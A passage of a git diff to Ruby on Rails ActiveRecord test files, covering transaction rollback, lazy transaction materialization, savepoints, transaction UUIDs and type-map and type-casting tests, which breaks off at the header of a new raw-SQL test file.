+      end
+    end
+  ensure
+    Cpk::Book.delete_all
+  end
+
+  def test_restore_id_after_rollback
+    topic = Topic.new
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil topic.id
+  end
+
+  def test_restore_custom_primary_key_after_rollback
+    movie = Movie.new(name: "foo")
+
+    Movie.transaction do
+      movie.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil movie.movieid
+  end
+
+  def test_assign_id_after_rollback
+    topic = Topic.create!
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    topic.id = nil
+    assert_nil topic.id
+  end
+
+  def test_assign_custom_primary_key_after_rollback
+    movie = Movie.create!(name: "foo")
+
+    Movie.transaction do
+      movie.save!
+      raise ActiveRecord::Rollback
+    end
+
+    movie.movieid = nil
+    assert_nil movie.movieid
+  end
+
+  def test_read_attribute_after_rollback
+    topic = Topic.new
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil topic.read_attribute(:id)
+  end
+
+  def test_read_attribute_with_custom_primary_key_after_rollback
+    movie = Movie.new(name: "foo")
+
+    Movie.transaction do
+      movie.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_nil movie.read_attribute(:movieid)
+  end
+
+  def test_write_attribute_after_rollback
+    topic = Topic.create!
+
+    Topic.transaction do
+      topic.save!
+      raise ActiveRecord::Rollback
+    end
+
+    topic.write_attribute(:id, nil)
+    assert_nil topic.id
+  end
+
+  def test_write_attribute_with_custom_primary_key_after_rollback
+    movie = Movie.create!(name: "foo")
+
+    Movie.transaction do
+      movie.save!
+      raise ActiveRecord::Rollback
+    end
+
+    movie.write_attribute(:movieid, nil)
+    assert_nil movie.movieid
   end
 
   def test_rollback_of_frozen_records
@@ -601,7 +1344,7 @@ def test_rollback_of_frozen_records
       topic.destroy
       raise ActiveRecord::Rollback
     end
-    assert topic.frozen?, "frozen"
+    assert_predicate topic, :frozen?, "frozen"
   end
 
   def test_rollback_for_freshly_persisted_records
@@ -610,84 +1353,117 @@ def test_rollback_for_freshly_persisted_records
       topic.destroy
       raise ActiveRecord::Rollback
     end
-    assert topic.persisted?, "persisted"
+    assert_predicate topic, :persisted?, "persisted"
   end
 
-  def test_sqlite_add_column_in_transaction
-    return true unless current_adapter?(:SQLite3Adapter)
-
-    # Test first if column creation/deletion works correctly when no
-    # transaction is in place.
-    #
-    # We go back to the connection for the column queries because
-    # Topic.columns is cached and won't report changes to the DB
+  if current_adapter?(:SQLite3Adapter)
+    def test_sqlite_add_column_in_transaction
+      # Test first if column creation/deletion works correctly when no
+      # transaction is in place.
+      #
+      # We go back to the connection for the column queries because
+      # Topic.columns is cached and won't report changes to the DB
 
-    assert_nothing_raised do
-      Topic.reset_column_information
-      Topic.connection.add_column("topics", "stuff", :string)
-      assert_includes Topic.column_names, "stuff"
+      assert_nothing_raised do
+        Topic.reset_column_information
+        Topic.lease_connection.add_column("topics", "stuff", :string)
+        assert_includes Topic.column_names, "stuff"
 
-      Topic.reset_column_information
-      Topic.connection.remove_column("topics", "stuff")
-      assert_not_includes Topic.column_names, "stuff"
-    end
+        Topic.reset_column_information
+        Topic.lease_connection.remove_column("topics", "stuff")
+        assert_not_includes Topic.column_names, "stuff"
+      end
 
-    if Topic.connection.supports_ddl_transactions?
-      assert_nothing_raised do
-        Topic.transaction { Topic.connection.add_column("topics", "stuff", :string) }
+      if Topic.lease_connection.supports_ddl_transactions?
+        assert_nothing_raised do
+          Topic.transaction { Topic.lease_connection.add_column("topics", "stuff", :string) }
+        end
+      else
+        Topic.transaction do
+          assert_raise(ActiveRecord::StatementInvalid) { Topic.lease_connection.add_column("topics", "stuff", :string) }
+          raise ActiveRecord::Rollback
+        end
       end
-    else
-      Topic.transaction do
-        assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column("topics", "stuff", :string) }
-        raise ActiveRecord::Rollback
+    ensure
+      begin
+        Topic.lease_connection.remove_column("topics", "stuff")
+      rescue
+      ensure
+        Topic.reset_column_information
       end
     end
-  ensure
-    begin
-      Topic.connection.remove_column("topics", "stuff")
-    rescue
-    ensure
-      Topic.reset_column_information
+
+    def test_sqlite_default_transaction_mode_is_immediate
+      assert_queries_match(/BEGIN IMMEDIATE TRANSACTION/i, include_schema: false) do
+        Topic.transaction { Topic.lease_connection.materialize_transactions }
+      end
     end
   end
 
   def test_transactions_state_from_rollback
-    connection = Topic.connection
+    connection = Topic.lease_connection
     transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
 
-    assert transaction.open?
-    assert !transaction.state.rolledback?
-    assert !transaction.state.committed?
+    assert_predicate transaction, :open?
+    assert_not_predicate transaction.state, :rolledback?
+    assert_not_predicate transaction.state, :committed?
 
     transaction.rollback
 
-    assert transaction.state.rolledback?
-    assert !transaction.state.committed?
+    assert_predicate transaction.state, :rolledback?
+    assert_not_predicate transaction.state, :committed?
   end
 
   def test_transactions_state_from_commit
-    connection = Topic.connection
+    connection = Topic.lease_connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    assert_predicate transaction, :open?
+    assert_not_predicate transaction.state, :rolledback?
+    assert_not_predicate transaction.state, :committed?
+
+    transaction.commit
+
+    assert_not_predicate transaction.state, :rolledback?
+    assert_predicate transaction.state, :committed?
+  end
+
+  def test_mark_transaction_state_as_committed
+    connection = Topic.lease_connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+    transaction.rollback
+
+    assert_equal :committed, transaction.state.commit!
+  end
+
+  def test_mark_transaction_state_as_rolledback
+    connection = Topic.lease_connection
     transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
 
-    assert transaction.open?
-    assert !transaction.state.rolledback?
-    assert !transaction.state.committed?
+    transaction.commit
+
+    assert_equal :rolledback, transaction.state.rollback!
+  end
+
+  def test_mark_transaction_state_as_nil
+    connection = Topic.lease_connection
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
 
     transaction.commit
 
-    assert !transaction.state.rolledback?
-    assert transaction.state.committed?
+    assert_nil transaction.state.nullify!
   end
 
   def test_transaction_rollback_with_primarykeyless_tables
-    connection = ActiveRecord::Base.connection
+    connection = ActiveRecord::Base.lease_connection
     connection.create_table(:transaction_without_primary_keys, force: true, id: false) do |t|
       t.integer :thing_id
     end
 
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "transaction_without_primary_keys"
-      after_commit {} # necessary to trigger the has_transactional_callbacks branch
+      after_commit { } # necessary to trigger the has_transactional_callbacks branch
     end
 
     assert_no_difference(-> { klass.count }) do
@@ -700,12 +1476,175 @@ def test_transaction_rollback_with_primarykeyless_tables
     connection.drop_table "transaction_without_primary_keys", if_exists: true
   end
 
+  def test_empty_transaction_is_not_materialized
+    assert_no_queries do
+      Topic.transaction { }
+    end
+  end
+
+  def test_unprepared_statement_materializes_transaction
+    assert_queries_match(/BEGIN|COMMIT/i, include_schema: true) do
+      Topic.transaction { Topic.where("1=1").first }
+    end
+  end
+
+  def test_nested_transactions_skip_excess_savepoints
+    Topic.transaction(requires_new: true) do
+      Topic.delete_all
+      raise ActiveRecord::Rollback
+    end
+
+    actual_queries = capture_sql(include_schema: true) do
+      # RealTransaction (begin..commit)
+      Topic.transaction(requires_new: true) do
+        # ResetParentTransaction (no queries)
+        Topic.transaction(requires_new: true) do
+          Topic.delete_all
+          # SavepointTransaction (savepoint..release)
+          Topic.transaction(requires_new: true) do
+            # ResetParentTransaction (no queries)
+            Topic.transaction(requires_new: true) do
+              Topic.delete_all
+            end
+          end
+        end
+        Topic.delete_all
+      end
+    end
+
+    expected_queries = [
+      /BEGIN/i,
+      /DELETE/i,
+      /^SAVEPOINT/i,
+      /DELETE/i,
+      /^RELEASE/i,
+      /DELETE/i,
+      /COMMIT/i,
+    ]
+
+    assert_array_match expected_queries, actual_queries
+  end
+
+  def test_nested_transactions_after_disable_lazy_transactions
+    Topic.lease_connection.disable_lazy_transactions!
+
+    Topic.transaction(requires_new: true) do
+      Topic.delete_all
+      raise ActiveRecord::Rollback
+    end
+
+    actual_queries = capture_sql(include_schema: true) do
+      # RealTransaction (begin..commit)
+      Topic.transaction(requires_new: true) do
+        # ResetParentTransaction (no queries)
+        Topic.transaction(requires_new: true) do
+          Topic.delete_all
+          # SavepointTransaction (savepoint..release)
+          Topic.transaction(requires_new: true) do
+            # ResetParentTransaction (no queries)
+            Topic.transaction(requires_new: true) do
+              # no-op
+            end
+          end
+        end
+        Topic.delete_all
+      end
+    end
+
+    expected_queries = [
+      /BEGIN/i,
+      /DELETE/i,
+      /^SAVEPOINT/i,
+      /^RELEASE/i,
+      /DELETE/i,
+      /COMMIT/i,
+    ]
+
+    assert_array_match expected_queries, actual_queries
+  end
+
+  if ActiveRecord::Base.lease_connection.prepared_statements
+    def test_prepared_statement_materializes_transaction
+      Topic.first
+
+      assert_queries_match(/BEGIN|COMMIT/i, include_schema: true) do
+        Topic.transaction { Topic.first }
+      end
+    end
+  end
+
+  def test_savepoint_does_not_materialize_transaction
+    assert_no_queries do
+      Topic.transaction do
+        Topic.transaction(requires_new: true) { }
+      end
+    end
+  end
+
+  def test_raising_does_not_materialize_transaction
+    assert_no_queries do
+      assert_raise(RuntimeError) do
+        Topic.transaction { raise "Expected" }
+      end
+    end
+  end
+
+  def test_accessing_raw_connection_materializes_transaction
+    assert_queries_match(/BEGIN|COMMIT/i, include_schema: true) do
+      Topic.transaction { Topic.lease_connection.raw_connection }
+    end
+  end
+
+  def test_accessing_raw_connection_disables_lazy_transactions
+    Topic.lease_connection.raw_connection
+
+    assert_queries_match(/BEGIN|COMMIT/i, include_schema: true) do
+      Topic.transaction { }
+    end
+  end
+
+  def test_checking_in_connection_reenables_lazy_transactions
+    connection = Topic.connection_pool.checkout
+    connection.raw_connection
+    Topic.connection_pool.checkin connection
+
+    assert_no_queries do
+      connection.transaction { }
+    end
+  end
+
+  def test_transactions_can_be_manually_materialized
+    assert_queries_match(/BEGIN|COMMIT/i, include_schema: true) do
+      Topic.transaction do
+        Topic.lease_connection.materialize_transactions
+      end
+    end
+  end
+
   private
+    def assert_array_match(expected, actual, message = nil)
+      deviations = actual.dup
+
+      front = -expected.size
+      expected.size.times do |i|
+        break unless expected[i] === actual[i]
+        deviations[i] = expected[i]
+        front += 1
+      end
+
+      -1.downto(front) do |j|
+        break unless expected[j] === actual[j]
+        deviations[j] = expected[j]
+      end
+
+      # Fake an equality to get a nice diff on failure
+      assert_equal expected, deviations, message
+    end
 
     %w(validation save destroy).each do |filter|
       define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do |topic|
         meta = class << topic; self; end
-        meta.send("define_method", "before_#{filter}_for_transaction") do
+        meta.define_method "before_#{filter}_for_transaction" do
           Book.create
           throw(:abort)
         end
@@ -717,6 +1656,12 @@ class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
   self.use_transactional_tests = true
   fixtures :topics
 
+  include TransactionCallbacksTests
+
+  def setup
+    @first, @second = Topic.find(1, 2).sort_by(&:id)
+  end
+
   def test_automatic_savepoint_in_outer_transaction
     @first = Topic.find(1)
 
@@ -727,7 +1672,7 @@ def test_automatic_savepoint_in_outer_transaction
         raise
       end
     rescue
-      assert !@first.reload.approved?
+      assert_not_predicate @first.reload, :approved?
     end
   end
 
@@ -748,31 +1693,55 @@ def test_no_automatic_savepoint_for_inner_transaction
       end
     end
 
-    assert !@first.reload.approved?
+    assert_not_predicate @first.reload, :approved?
+  end
+end if Topic.lease_connection.supports_savepoints?
+
+class TransactionUUIDTest < ActiveRecord::TestCase
+  def test_the_uuid_is_lazily_computed
+    Topic.transaction do
+      transaction = Topic.current_transaction
+      assert_nil transaction.instance_variable_get(:@uuid)
+    end
+  end
+
+  def test_the_uuid_for_regular_transactions_is_generated_and_memoized
+    Topic.transaction do
+      transaction = Topic.current_transaction
+      uuid = transaction.uuid
+      assert_match(/\A[[:xdigit:]]{8}-(?:[[:xdigit:]]{4}-){3}[[:xdigit:]]{12}\z/, uuid)
+      assert_equal uuid, transaction.uuid
+    end
+  end
+
+  def test_the_uuid_for_null_transactions_is_nil
+    null_transaction = ActiveRecord::Transaction::NULL_TRANSACTION
+    assert_nil null_transaction.uuid
   end
-end if Topic.connection.supports_savepoints?
+end
+
+class ConcurrentTransactionTest < ActiveRecord::TestCase
+  if ActiveRecord::Base.lease_connection.supports_transaction_isolation? && !current_adapter?(:SQLite3Adapter)
+    self.use_transactional_tests = false
+    fixtures :topics, :developers
 
-if current_adapter?(:PostgreSQLAdapter)
-  class ConcurrentTransactionTest < TransactionTest
     # This will cause transactions to overlap and fail unless they are performed on
     # separate database connections.
-    unless in_memory_db?
-      def test_transaction_per_thread
-        threads = 3.times.map do
-          Thread.new do
-            Topic.transaction do
-              topic = Topic.find(1)
-              topic.approved = !topic.approved?
-              assert topic.save!
-              topic.approved = !topic.approved?
-              assert topic.save!
-            end
-            Topic.connection.close
+    def test_transaction_per_thread
+      threads = 3.times.map do
+        Thread.new do
+          Topic.transaction do
+            topic = Topic.find(1)
+            topic.approved = !topic.approved?
+            assert topic.save!
+            topic.approved = !topic.approved?
+            assert topic.save!
           end
+          Topic.lease_connection.close
         end
-
-        threads.each(&:join)
       end
+
+      threads.each(&:join)
     end
 
     # Test for dirty reads among simultaneous transactions.
@@ -803,7 +1772,7 @@ def test_transaction_isolation__read_committed
               dev = Developer.find(1)
               assert_equal original_salary, dev.salary
             end
-            Developer.connection.close
+            Developer.lease_connection.close
           end
         end
 
@@ -816,7 +1785,7 @@ def test_transaction_isolation__read_committed
               assert_equal original_salary, Developer.find(1).salary
             end
           end
-          Developer.connection.close
+          Developer.lease_connection.close
         end
 
         threads.each(&:join)
diff --git a/activerecord/test/cases/type/adapter_specific_registry_test.rb b/activerecord/test/cases/type/adapter_specific_registry_test.rb
index 8b836b4793978..1093c4feca0a3 100644
--- a/activerecord/test/cases/type/adapter_specific_registry_test.rb
+++ b/activerecord/test/cases/type/adapter_specific_registry_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -74,7 +76,6 @@ class AdapterSpecificRegistryTest < ActiveRecord::TestCase
     end
 
     test "construct args are passed to the type" do
-      type = Struct.new(:args)
       registry = Type::AdapterSpecificRegistry.new
       registry.register(:foo, type)
 
@@ -115,7 +116,6 @@ class AdapterSpecificRegistryTest < ActiveRecord::TestCase
 
     test "registering adapter specific modifiers" do
       decoration = Struct.new(:value)
-      type = Struct.new(:args)
       registry = Type::AdapterSpecificRegistry.new
       registry.register(:foo, type)
       registry.add_modifier({ array: true }, decoration, adapter: :postgresql)
@@ -129,5 +129,17 @@ class AdapterSpecificRegistryTest < ActiveRecord::TestCase
         registry.lookup(:foo, array: true, adapter: :sqlite3)
       )
     end
+
+    TYPE = Class.new do
+      attr_reader :args
+
+      def initialize(args = nil)
+        @args = args
+      end
+
+      def ==(other) self.args == other.args end
+    end
+
+    private def type; TYPE end
   end
 end
diff --git a/activerecord/test/cases/type/date_time_test.rb b/activerecord/test/cases/type/date_time_test.rb
index 6848619ecec0c..1ee8b55b56e0f 100644
--- a/activerecord/test/cases/type/date_time_test.rb
+++ b/activerecord/test/cases/type/date_time_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/task"
 
@@ -5,10 +7,16 @@ module ActiveRecord
   module Type
     class DateTimeTest < ActiveRecord::TestCase
       def test_datetime_seconds_precision_applied_to_timestamp
-        skip "This test is invalid if subsecond precision isn't supported" unless subsecond_precision_supported?
         p = Task.create!(starting: ::Time.now)
         assert_equal p.starting.usec, p.reload.starting.usec
       end
+
+      test "serialize_cast_value is equivalent to serialize after cast" do
+        type = Type::DateTime.new(precision: 1)
+        value = type.cast("1999-12-31 12:34:56.789 -1000")
+
+        assert_equal type.serialize(value), type.serialize_cast_value(value)
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/type/integer_test.rb b/activerecord/test/cases/type/integer_test.rb
index 368b6d7199e93..15d1a675a10f9 100644
--- a/activerecord/test/cases/type/integer_test.rb
+++ b/activerecord/test/cases/type/integer_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/company"
 
diff --git a/activerecord/test/cases/type/string_test.rb b/activerecord/test/cases/type/string_test.rb
index a95da864fad60..9e7810a6a522a 100644
--- a/activerecord/test/cases/type/string_test.rb
+++ b/activerecord/test/cases/type/string_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,16 +9,16 @@ class StringTypeTest < ActiveRecord::TestCase
       klass.table_name = "authors"
 
       author = klass.create!(name: "Sean")
-      assert_not author.changed?
+      assert_not_predicate author, :changed?
 
       author.name << " Griffin"
-      assert author.name_changed?
+      assert_predicate author, :name_changed?
 
       author.save!
       author.reload
 
       assert_equal "Sean Griffin", author.name
-      assert_not author.changed?
+      assert_not_predicate author, :changed?
     end
   end
 end
diff --git a/activerecord/test/cases/type/time_test.rb b/activerecord/test/cases/type/time_test.rb
new file mode 100644
index 0000000000000..b1501d65d4eb1
--- /dev/null
+++ b/activerecord/test/cases/type/time_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+module ActiveRecord
+  module Type
+    class TimeTest < ActiveRecord::TestCase
+      def test_default_year_is_correct
+        expected_time = ::Time.utc(2000, 1, 1, 10, 30, 0)
+        topic = Topic.new(bonus_time: { 4 => 10, 5 => 30 })
+
+        assert_equal expected_time, topic.bonus_time
+        assert_instance_of ::Time, topic.bonus_time
+
+        topic.save!
+
+        assert_equal expected_time, topic.bonus_time
+        assert_instance_of ::Time, topic.bonus_time
+
+        topic.reload
+
+        assert_equal expected_time, topic.bonus_time
+        assert_instance_of ::Time, topic.bonus_time
+      end
+
+      test "serialize_cast_value is equivalent to serialize after cast" do
+        type = Type::Time.new(precision: 1)
+        value = type.cast("1999-12-31T12:34:56.789-10:00")
+
+        assert_equal type.serialize(value), type.serialize_cast_value(value)
+        assert_instance_of type.serialize(value).class, type.serialize_cast_value(value)
+        assert_instance_of type.serialize(nil).class, type.serialize_cast_value(nil)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/type_map_test.rb b/activerecord/test/cases/type/type_map_test.rb
index 2959d36466d12..f5aed062d068c 100644
--- a/activerecord/test/cases/type/type_map_test.rb
+++ b/activerecord/test/cases/type/type_map_test.rb
@@ -1,17 +1,63 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   module Type
-    class TypeMapTest < ActiveRecord::TestCase
+    module TypeMapSharedTests
       def test_default_type
-        mapping = TypeMap.new
+        mapping = klass.new
 
         assert_kind_of Value, mapping.lookup(:undefined)
       end
 
+      def test_requires_value_or_block
+        mapping = klass.new
+
+        assert_raises(ArgumentError) do
+          mapping.register_type(/only key/i)
+        end
+      end
+
+      def test_fetch
+        mapping = klass.new
+        mapping.register_type(1, "string")
+
+        assert_equal "string", mapping.fetch(1) { "int" }
+        assert_equal "int", mapping.fetch(2) { "int" }
+      end
+
+      def test_fetch_memoizes
+        mapping = klass.new
+
+        looked_up = false
+        mapping.register_type(1) do
+          fail if looked_up
+          looked_up = true
+          "string"
+        end
+
+        assert_equal "string", mapping.fetch(1)
+        assert_equal "string", mapping.fetch(1)
+      end
+
+      def test_register_clears_cache
+        mapping = klass.new
+
+        mapping.register_type(1, "string")
+        mapping.lookup(1)
+        mapping.register_type(1, "int")
+
+        assert_equal "int", mapping.lookup(1)
+      end
+    end
+
+    class TypeMapTest < ActiveRecord::TestCase
+      include TypeMapSharedTests
+
       def test_registering_types
         boolean = Boolean.new
-        mapping = TypeMap.new
+        mapping = klass.new
 
         mapping.register_type(/boolean/i, boolean)
 
@@ -21,7 +67,7 @@ def test_registering_types
       def test_overriding_registered_types
         time = Time.new
         timestamp = DateTime.new
-        mapping = TypeMap.new
+        mapping = klass.new
 
         mapping.register_type(/time/i, time)
         mapping.register_type(/time/i, timestamp)
@@ -29,18 +75,9 @@ def test_overriding_registered_types
         assert_equal mapping.lookup("time"), timestamp
       end
 
-      def test_fuzzy_lookup
-        string = String.new
-        mapping = TypeMap.new
-
-        mapping.register_type(/varchar/i, string)
-
-        assert_equal mapping.lookup("varchar(20)"), string
-      end
-
       def test_aliasing_types
-        string = String.new
-        mapping = TypeMap.new
+        string = +""
+        mapping = klass.new
 
         mapping.register_type(/string/i, string)
         mapping.alias_type(/varchar/i, "string")
@@ -51,29 +88,38 @@ def test_aliasing_types
       def test_changing_type_changes_aliases
         time = Time.new
         timestamp = DateTime.new
-        mapping = TypeMap.new
+        mapping = klass.new
 
         mapping.register_type(/timestamp/i, time)
         mapping.alias_type(/datetime/i, "timestamp")
         mapping.register_type(/timestamp/i, timestamp)
 
-        assert_equal mapping.lookup("datetime"), timestamp
+        assert_equal timestamp, mapping.lookup("datetime")
       end
 
       def test_aliases_keep_metadata
-        mapping = TypeMap.new
+        mapping = klass.new
 
         mapping.register_type(/decimal/i) { |sql_type| sql_type }
         mapping.alias_type(/number/i, "decimal")
 
-        assert_equal mapping.lookup("number(20)"), "decimal(20)"
-        assert_equal mapping.lookup("number"), "decimal"
+        assert_equal "decimal(20)", mapping.lookup("number(20)")
+        assert_equal "decimal", mapping.lookup("number")
+      end
+
+      def test_fuzzy_lookup
+        string = +""
+        mapping = klass.new
+
+        mapping.register_type(/varchar/i, string)
+
+        assert_equal mapping.lookup("varchar(20)"), string
       end
 
       def test_register_proc
-        string = String.new
+        string = +""
         binary = Binary.new
-        mapping = TypeMap.new
+        mapping = klass.new
 
         mapping.register_type(/varchar/i) do |type|
           if type.include?("(")
@@ -87,29 +133,47 @@ def test_register_proc
         assert_equal mapping.lookup("varchar"), binary
       end
 
+      def test_parent_fallback
+        boolean = Boolean.new
+
+        parent = klass.new
+        parent.register_type(/boolean/i, boolean)
+
+        mapping = klass.new(parent)
+        assert_equal boolean, mapping.lookup("boolean")
+      end
+
+      def test_parent_fallback_for_default_type
+        parent = klass.new
+        mapping = klass.new(parent)
+
+        assert_kind_of Value, mapping.lookup(:undefined)
+      end
+
+      private
+        def klass
+          TypeMap
+        end
+    end
+
+    class HashLookupTypeMapTest < ActiveRecord::TestCase
+      include TypeMapSharedTests
+
       def test_additional_lookup_args
-        mapping = TypeMap.new
+        mapping = HashLookupTypeMap.new
 
-        mapping.register_type(/varchar/i) do |type, limit|
+        mapping.register_type("varchar") do |type, limit|
           if limit > 255
             "text"
           else
             "string"
           end
         end
-        mapping.alias_type(/string/i, "varchar")
-
-        assert_equal mapping.lookup("varchar", 200), "string"
-        assert_equal mapping.lookup("varchar", 400), "text"
-        assert_equal mapping.lookup("string", 400), "text"
-      end
-
-      def test_requires_value_or_block
-        mapping = TypeMap.new
+        mapping.alias_type("string", "varchar")
 
-        assert_raises(ArgumentError) do
-          mapping.register_type(/only key/i)
-        end
+        assert_equal "string", mapping.lookup("varchar", 200)
+        assert_equal "text", mapping.lookup("varchar", 400)
+        assert_equal "text", mapping.lookup("string", 400)
       end
 
       def test_lookup_non_strings
@@ -119,58 +183,31 @@ def test_lookup_non_strings
         mapping.register_type(2, "int")
         mapping.alias_type(3, 1)
 
-        assert_equal mapping.lookup(1), "string"
-        assert_equal mapping.lookup(2), "int"
-        assert_equal mapping.lookup(3), "string"
+        assert_equal "string", mapping.lookup(1)
+        assert_equal "int", mapping.lookup(2)
+        assert_equal "string", mapping.lookup(3)
         assert_kind_of Type::Value, mapping.lookup(4)
       end
 
-      def test_fetch
-        mapping = TypeMap.new
-        mapping.register_type(1, "string")
+      def test_fetch_memoizes_on_args
+        mapping = HashLookupTypeMap.new
+        mapping.register_type("foo") { |*args| args.join("-") }
 
-        assert_equal "string", mapping.fetch(1) { "int" }
-        assert_equal "int", mapping.fetch(2) { "int" }
+        assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+        assert_equal "foo-2-3-4", mapping.fetch("foo", 2, 3, 4) { |*args| args.join("-") }
       end
 
       def test_fetch_yields_args
-        mapping = TypeMap.new
+        mapping = klass.new
 
         assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
         assert_equal "bar-1-2-3", mapping.fetch("bar", 1, 2, 3) { |*args| args.join("-") }
       end
 
-      def test_fetch_memoizes
-        mapping = TypeMap.new
-
-        looked_up = false
-        mapping.register_type(1) do
-          fail if looked_up
-          looked_up = true
-          "string"
+      private
+        def klass
+          HashLookupTypeMap
         end
-
-        assert_equal "string", mapping.fetch(1)
-        assert_equal "string", mapping.fetch(1)
-      end
-
-      def test_fetch_memoizes_on_args
-        mapping = TypeMap.new
-        mapping.register_type("foo") { |*args| args.join("-") }
-
-        assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
-        assert_equal "foo-2-3-4", mapping.fetch("foo", 2, 3, 4) { |*args| args.join("-") }
-      end
-
-      def test_register_clears_cache
-        mapping = TypeMap.new
-
-        mapping.register_type(1, "string")
-        mapping.lookup(1)
-        mapping.register_type(1, "int")
-
-        assert_equal "int", mapping.lookup(1)
-      end
     end
   end
 end
diff --git a/activerecord/test/cases/type/unsigned_integer_test.rb b/activerecord/test/cases/type/unsigned_integer_test.rb
index 1cd4dbc2c5391..133b6ab1552fa 100644
--- a/activerecord/test/cases/type/unsigned_integer_test.rb
+++ b/activerecord/test/cases/type/unsigned_integer_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -12,6 +14,18 @@ class UnsignedIntegerTest < ActiveRecord::TestCase
           UnsignedInteger.new.serialize(-1)
         end
       end
+
+      test "serialize_cast_value enforces range" do
+        type = UnsignedInteger.new
+
+        assert_raises(ActiveModel::RangeError) do
+          type.serialize_cast_value(-1)
+        end
+
+        assert_raises(ActiveModel::RangeError) do
+          type.serialize_cast_value(4294967296)
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/type_caster/connection_test.rb b/activerecord/test/cases/type_caster/connection_test.rb
new file mode 100644
index 0000000000000..67dd229f5428f
--- /dev/null
+++ b/activerecord/test/cases/type_caster/connection_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+
+module ActiveRecord
+  module TypeCaster
+    class ConnectionTest < ActiveSupport::TestCase
+      test "#type_for_attribute is not aware of custom types" do
+        type_caster = Connection.new(AttributedDeveloper, "developers")
+
+        type = type_caster.type_for_attribute(:name)
+
+        assert_not_equal DeveloperName, type.class
+        assert_equal ActiveRecord::Type::String, type.class
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type_test.rb b/activerecord/test/cases/type_test.rb
index d45a9b314150c..d797c8e27ee54 100644
--- a/activerecord/test/cases/type_test.rb
+++ b/activerecord/test/cases/type_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class TypeTest < ActiveRecord::TestCase
@@ -28,7 +30,7 @@ class TypeTest < ActiveRecord::TestCase
   end
 
   test "lookup defaults to the current adapter" do
-    current_adapter = ActiveRecord::Base.connection.adapter_name.downcase.to_sym
+    current_adapter = ActiveRecord::Type.adapter_name_from(ActiveRecord::Base)
     type = Struct.new(:args)
     adapter_type = Struct.new(:args)
     ActiveRecord::Type.register(:foo, type, override: false)
diff --git a/activerecord/test/cases/types_test.rb b/activerecord/test/cases/types_test.rb
index 11476ea0ef944..3f7fb0a604a29 100644
--- a/activerecord/test/cases/types_test.rb
+++ b/activerecord/test/cases/types_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
index b210584644f6b..c74032a0eae0f 100644
--- a/activerecord/test/cases/unconnected_test.rb
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class TestRecord < ActiveRecord::Base
@@ -7,27 +9,38 @@ class TestUnconnectedAdapter < ActiveRecord::TestCase
   self.use_transactional_tests = false
 
   def setup
-    @underlying = ActiveRecord::Base.connection
-    @specification = ActiveRecord::Base.remove_connection
+    @underlying = ActiveRecord::Base.lease_connection
+    @connection_name = ActiveRecord::Base.remove_connection
+
+    # Clear out connection info from other pids (like a fork parent) too
+    ActiveRecord::ConnectionAdapters::PoolConfig.discard_pools!
   end
 
   teardown do
     @underlying = nil
-    ActiveRecord::Base.establish_connection(@specification)
+    ActiveRecord::Base.establish_connection(@connection_name)
     load_schema if in_memory_db?
   end
 
   def test_connection_no_longer_established
-    assert_raise(ActiveRecord::ConnectionNotEstablished) do
+    assert_raise(ActiveRecord::ConnectionNotDefined) do
       TestRecord.find(1)
     end
 
-    assert_raise(ActiveRecord::ConnectionNotEstablished) do
+    assert_raise(ActiveRecord::ConnectionNotDefined) do
       TestRecord.new.save
     end
   end
 
+  def test_error_message_when_connection_not_established
+    error = assert_raise(ActiveRecord::ConnectionNotDefined) do
+      TestRecord.find(1)
+    end
+
+    assert_equal "No database connection defined.", error.message
+  end
+
   def test_underlying_adapter_no_longer_active
-    assert !@underlying.active?, "Removed adapter should no longer be active"
+    assert_not @underlying.active?, "Removed adapter should no longer be active"
   end
 end
diff --git a/activerecord/test/cases/unsafe_raw_sql_test.rb b/activerecord/test/cases/unsafe_raw_sql_test.rb
new file mode 100644
index 0000000000000..bfb1018275bba
--- /dev/null
